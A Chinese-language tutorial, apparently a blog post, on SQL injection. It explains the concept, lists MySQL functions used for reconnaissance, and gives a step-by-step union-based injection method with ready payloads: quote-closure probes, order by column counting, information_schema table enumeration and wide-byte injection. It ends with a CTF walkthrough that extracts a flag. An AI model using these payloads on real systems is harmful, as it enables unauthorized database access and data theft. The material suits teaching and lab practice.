什么是sql注入?
SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。
SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据「越俎代庖」做了代码才能干的事情。
这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。
sql注入的两个关键点是:1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行。
sql注入常用函数:
(1)user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号
(2)version() 返回当前数据库的版本
(3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到
(4)group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串
(5)@@datadir 数据库路径
(6)@@version_compile_os 操作系统版本
SQL注入一般流程:
1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合
2、猜解字段 order by 10 //采用二分法
3、判断数据回显位置 -1 union select 1,2,3,4,5.... //参数等号后面加-表示不显示当前数据 4、获取当前数据库名、用户、版本 ,获取全部数据库名
5、获取表名
6、获取字段名
7、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名
判断参数数据类型
参数类型一般有数值型,字符型。
通过+1、-1、and 1=1、and 1=2、注释符。与其各种变种如与各种符号结合的and 1=1、and '1'='1等等判断参数数据类型。
先判断是否是整型,如果不是整型则为字符型,字符型存在多种情况,需要使用单引号【'】、双引号【"】、括号【()】多种组合方式进行试探。
下面是一些小例子:
id=1 and 1=1回显正常 id=1 and1=2回显错误(判断为整形)
id=1 and 1=1和id=1 and 1=2回显正常(判断为字符型接下来判断闭合方式)
id=1' and '1'='1回显正确id=1' and '1'='2回显错误(判断为【'】闭合)
id=1" and "1"="1 回显正常 id=1" and "1"="2回显错误(判断为【"】闭合)
以上注入不成功的时候尝试1%df’ 此为宽字节注入
数值型
前台页面输入的参数是「数字」。
写入and1=1 与and1=2回显不相同说明后面的and1=1和and1=2对网页造成了影响,判断为数值型
字符型
前台页面输入的参数是「字符串」。
字符可以使用单引号包裹,也可以使用双引号包裹。
根据包裹字符串的「引号」不同,字符型注入可以分为:「单引号字符型」注入和「双引号字符型」注入。
(1)单引号字符型注入
(2)双引号字符型注入
(3)带有括号的注入
理论上来说,只有数值型和字符型两种注入类型。
SQL的语法,支持使用一个或多个「括号」包裹参数,使得这两个基础的注入类型存在一些变种。
a. 数值型+括号的注入
使用括号包裹数值型参数
select \* from user where id = (1);
select \* from user where id = ((1));
b. 单引号字符串+括号的注入
使用括号和单引号包裹参数
select \* from user where username = ('zhangsan');
select \* from user where username = (('zhangsan'));
c. 双引号字符串+括号的注入
使用括号和双引号包裹参数
select \* from user where username = ("zhangsan");
详细知识点可以参考下面这两篇文章:
【超详细版】学习SQL注入看这篇就够了(原理及思路绕过) - 知乎 (zhihu.com)
入坑解读 | 什么是SQL注入? - 知乎 (zhihu.com)
语句解释
(1)?id=1 and 1=1 ?id=1 and 1=2
'?’是传值的意思,‘and’是并列与关系,必须左右两边都为真才能有返回值,如果出现 ?id=1 and 1=2这种错误的语法就会报错,可以用这种方式来判断SQL注入类型
(2)--+
’--‘在SQL语句中起着注释的作用,能将后面的语句注释掉,’+‘则代表空格,但是必须两者同时出现,才有注释作用,单独的’--‘不能起到注释作用
(3)order by
order by语句用于根据指定的列进行排序,指定的列值也可以为数据所在的列数,但取的数字不可超过原有的列数,否则会报错.
(4)union联合查询
在url中输入union select1,2
(5)roup_concat函数
roup_concat函数是用来将查询到的结果进行合并成一行,合并的结果以逗号隔开
题目
按提示输入1
输入2
输入3
依次输入1 order by 1,1 order by 2,1 order by 3(报错),说明有2个字段
输入-1 union select 1,database() ,服务器会返回select 1 的内容
爆破表名
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)
limit 0,1 表示0,1从数据库地一个开始只拿一个字段
找到数据库的所有字段
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
打开flag
-1 union select 1,group_concat(flag) from sqli.flag